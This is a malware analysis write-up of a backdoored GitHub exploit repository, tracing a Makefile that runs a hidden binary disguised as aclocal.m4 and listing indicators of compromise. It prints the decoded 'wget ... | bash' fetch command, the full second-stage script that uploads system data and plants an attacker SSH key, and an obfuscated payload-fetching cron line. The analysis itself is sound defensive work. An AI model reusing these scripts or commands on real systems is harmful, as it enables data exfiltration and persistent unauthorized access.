Update 2023/07/06: The github account hosting the backdoor has been nuked

On twitter I saw this tweet that warns users of a backdoor in a git repo. I wanted to check it out and see what was happening.

# Initial Analysis

If we checkout the repo and look into the Makefile, we see it executes the following binary:

.PHONY: all clean

TARGET=poc

SOURCES = $(wildcard src/*.c)
HEADERS = $(wildcard inc/*.h)
OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES))

CFLAGS= -I./inc
LDFLAGS= -pthread -static

all: obj $(TARGET) get_root

$(TARGET): $(OBJECTS)
        $(CC) $(LDFLAGS) -o $@ $^
        strip $@
        ./src/aclocal.m4

obj/%.o: src/%.c
        $(CC) -c $< -o $@ $(CFLAGS)

obj:
        mkdir obj

get_root: get_root_src/get_root.c
        $(CC) -o $@ $^
        rm -fr get_root

clean:
        rm -fr getroot
        rm -rf obj
        rm -f $(TARGET)

Note the line ./src/aclocal.m4. So lets checkout the file!

$ file src/aclocal.m4 
src/aclocal.m4: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9fc8befaa32a1a88133dd077db0369576313e6d2, for GNU/Linux 3.2.0, stripped

Only x86 users have to worry about this.

Lets checkout the binary in ghidra.

# Static Analysis

The first thing it does is check the current name of the executable against kworker by building a string two characters at a time.

  i = strlen((char *)&kworker);
  (&kworker + i) = 0x776b;
  (&kworker + i + 2) = 0;
  i = strlen((char *)&kworker);
  (&kworker + i) = 0x726f;
  (&kworker + i + 2) = 0;
  i = strlen((char *)&kworker);
  (&kworker + i) = 0x656b;
  (&kworker + i + 2) = 0;
  i = strlen((char *)&kworker);
  (&kworker + i) = 0x72;
	/* kworker */
  iVar1 = check_self_name((char **)*param_2,&kworker);

If the check is bad, it will copy itself to a new file under the user’s home $HOME/.local/kworker and re-execute itself from there.

However, if the check is good, it will open and lock a copy of /tmp/.ICE-unix.pid and check the status of the lock. If the file has not been locked, it continues. This allows it to ensure only one copy of itself is running.

Once going further, it changes the current argv[0] to [kworker/8:3] further masking itself from process inspection (this will cause ps to report the name as [kworker/8:3]), then forks itself and runs the following function once every two minutes.

undefined8 do_curl(void)

{
  undefined8 uVar1;
  size_t sVar2;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  char *data_buf;
  ulong size;
  char *local_40;
  int local_38;
  undefined4 local_34;
  undefined4 local_30;
  undefined4 local_2c;
  undefined8 local_28;
  void *local_20;
  undefined4 local_14;
  ulong i;
  
  data_buf = (char *)malloc(1);
  size = 0;
  local_14 = 0x27;
  local_20 = (void *)realloc(&http_string,0x27);
  curl_global_init(3);
  local_28 = curl_easy_init();
  local_2c = 0x2712;
  curl_easy_setopt(local_28,0x2712,local_20);
  local_30 = 0x4e2b;
  curl_easy_setopt(local_28,0x4e2b,FUN_555555556467);
  local_34 = 0x2711;
  curl_easy_setopt(local_28,0x2711,&data_buf);
  local_38 = curl_easy_perform(local_28);
  if (size < 2) {
    uVar1 = 0;
  }
  else {
    if (local_38 == 0) {
      local_40 = (char *)malloc(size + 0x40);
      data_buf[size] = '\0';
      for (i = 0; i < size; i = i + 1) {
        data_buf[i] = xor_key ^ data_buf[i];
      }
      if ((size != 0) && (data_buf[size - 1] == '\n')) {
        data_buf[size - 1] = '\0';
      }
		--snip---
      snprintf(local_40,size + 0x40,(char *)&local_78,data_buf);
      system(local_40);
    }
    curl_easy_cleanup(local_28);
    free(data_buf);
    free(local_20);
    uVar1 = curl_global_cleanup();
  }
  return uVar1;
}

# Dynamic Analysis

Lets load it in GDB and see what it downloads. We can break on most of the checks and modify the values its checking in order to not lose the executable, however once it forks, in order to keep following it you must run the following gdb command: set follow-fork-mode child to debug it properly, step through it after this.

I also patched out the call to sleep to not have to wait.

In here, we allocate a buffer and store the string http://cunniloss.accesscam.org/hash.php to make a request to using libcurl.

Unfortunately, the dns entry for the site had been removed (or at least I was getting no responses to my lookups!). Using https://securitytrails.com/domain/cunniloss.accesscam.org/dns I was able to find the A record associated with the name, and patched my hosts file accordingly. After doing that, we successfully download data from the server. After it is retreived from the server, it is XOR’d with the static byte 0x83. Here it is un-xor’d in memory:

gef  xor-memory display 0x000055555558fef0 0x55 0x83
[+] Displaying XOR-ing 0x55555558fef0-0x55555558ff45 with '0x83'
─────────────────────────────────────── Original block ───────────────────────────────────────────────────────────
0x000055555558fef0     f4 e4 e6 f7 a3 ae f2 a3 ae cc a3 ae a3 a1 eb f7    ................
0x000055555558ff00     f7 f3 b9 ac ac e0 f6 ed ed ea ef ec f0 f0 ad e2    ................
0x000055555558ff10     e0 e0 e6 f0 f0 e0 e2 ee ad ec f1 e4 ac e7 ec ad    ................
0x000055555558ff20     f3 eb f3 bc f6 be a7 ab f4 eb ec e2 ee ea aa a5    ................
0x000055555558ff30     eb be a7 ab eb ec f0 f7 ed e2 ee e6 aa a1 a3 ff    ................
0x000055555558ff40     a3 e1 e2 f0 eb    .....
──────────────────────────────────────── XOR-ed block ────────────────────────────────────────────────────────────
0x000055555558fef0     77 67 65 74 20 2d 71 20 2d 4f 20 2d 20 22 68 74    wget -q -O - "ht
0x000055555558ff00     74 70 3a 2f 2f 63 75 6e 6e 69 6c 6f 73 73 2e 61    tp://cunniloss.a
0x000055555558ff10     63 63 65 73 73 63 61 6d 2e 6f 72 67 2f 64 6f 2e    ccesscam.org/do.
0x000055555558ff20     70 68 70 3f 75 3d 24 28 77 68 6f 61 6d 69 29 26    php?u=$(whoami)&
0x000055555558ff30     68 3d 24 28 68 6f 73 74 6e 61 6d 65 29 22 20 7c    h=$(hostname)" |
0x000055555558ff40     20 62 61 73 68                                     bash

So we can see it uses wget to get a second stage payload, so lets grab it and check it out! After wget, here is what was downloaded.

#!/bin/bash

OUT=/tmp/out.txt
TAR=/tmp/home.tar.gz
SCR=/tmp/scr.png
rm -fr $OUT
AUTH=~/.ssh/authorized_keys
mkdir -p ~/.ssh/

if [ ! -e $AUTH ]; then
        touch $AUTH
fi

echo "================================================================" >> $OUT
uname -a >> $OUT
echo "================================================================" >> $OUT
uptime >> $OUT
echo "================================================================" >> $OUT
ls -LR ~/ >> $OUT
echo "================================================================" >> $OUT
ps -ef >> $OUT
echo "================================================================" >> $OUT
mount >> $OUT
echo "================================================================" >> $OUT

H=$(hostname)
U=$(whoami)

RET1=$(curl -s  --insecure --upload-file $OUT https://transfer.sh/$H-$U.txt)
#curl -s -o /dev/null http://cunniloss.accesscam.org/term.php?term=$RET

#import -window root -delay 200 $SCR
#RET2=$(curl -s  --insecure --upload-file $SCR https://transfer.sh/$H-$U.png)

curl -s -o /dev/null "http://cunniloss.accesscam.org/term.php?term=$RET1"

#tar cvzf $TAR ~/
#RET=$(curl -s  --insecure --upload-file $TAR https://transfer.sh/$H-$U.tar.gz)
#curl -s -o /dev/null http://cunniloss.accesscam.org/term.php?term=$RET

rm -fr $OUT
rm -fr $TAR

grep -q "fhxrs43hp464A1sarVJbmsV8OaaUzASJT9EA" $AUTH
if [ $? -ne 0 ]; then
        echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXEkpzHQ0OniUTP8fhxrs43hp464A1sarVJbmsV8OaaUzASJT9EAF565OK7oBFvYRP6yx4U6BWjjsot7TMOW/ORiST2bAH7q+b6tLO0MnKKnZwpa1bDJYFXJ5ZHEiUyvPLydXvOB6YlL4YfRaxXqsVFwHTlscKUc8eyCOXmn4G0IeeJmgHbgoTL6x8yD0ExvFOseN9hJCK6dSOAQhEM2FRKUqnjbiPavMrHGHcLvqd7wTLNKE1i5cPn4bdGcEtWKbMTjf2hnUuJMxeQuyuCJh2+n9WUUdceO/KcaKkiAJ49z4ayL9fHHd5VcIhmTnkr1ECiTFRhwa/3tW/T6lL9RcaczztKnNE3Si8cYV681cIYePM8SuNJkcMdWFb7X2cyBJ8AMSj+y44RHIk4bSKZwwpBMUyQAV22gBLOFtMSTOsG6JUfvw55nG8I9VJZXvuguK1kEasjEEFnqNnGOu+tdt+yva9TD7yCe2KOHEqND1i1HZYLgRDwkd3E5ntSG2I9xs= root@pulsar >> $AUTH
fi

touch -r /etc/passwd $AUTH

Some stuff is commented patched out, maybe different versions get sent based upon what OS / system is detects you are running. But all it does is exfil some data and drop an ssh key, then update the filetime of the .authorized-keys file.

# IOC’s

# DNS

cunniloss.accesscam.org

# Files

/tmp/.ICE-unix.pid $HOME/.local/kworker

# Processes

[kworker/8:3]

# IPs

81.4.109.16

# Hash

SHA256: caa69b10b0bfca561dec90cbd1132b6dcb2c8a44d76a272a0b70b5c64776ff6c MD5: 7847d26ff86284dce7c3caf3de69a129

# File contents

.ssh/authorized_keys: fhxrs43hp464A1sarVJbmsV8OaaUzASJT9EA

# Misc

Further checking out the user CrisSanders22 on github reveals that ALL his repositories have backdoors in them! For example, https://github.com/ChriSanders22/BotScanner has been up for 4 years, which on line 189 of scanner.sh has the fun encoded cronjob embedded inside it:

echo "*/1?*?*?*?*????root???$w?-q?-O?-?signaturesktwilightparadoxkcomjhashkphp?|?bash?>?jdevjnull" | tr -s "?" " " | tr -s "j" "/" | tr -s "k" "." `. 

Finally, I went and checked all the emails used on commits on his repo’s, and found the following email cris.sanders22@gmail.com , which is associated with a similar tor relay email under cris.sanders22@protonmail.com. Interesting, though, anyone can set those values to be anything, might not mean much.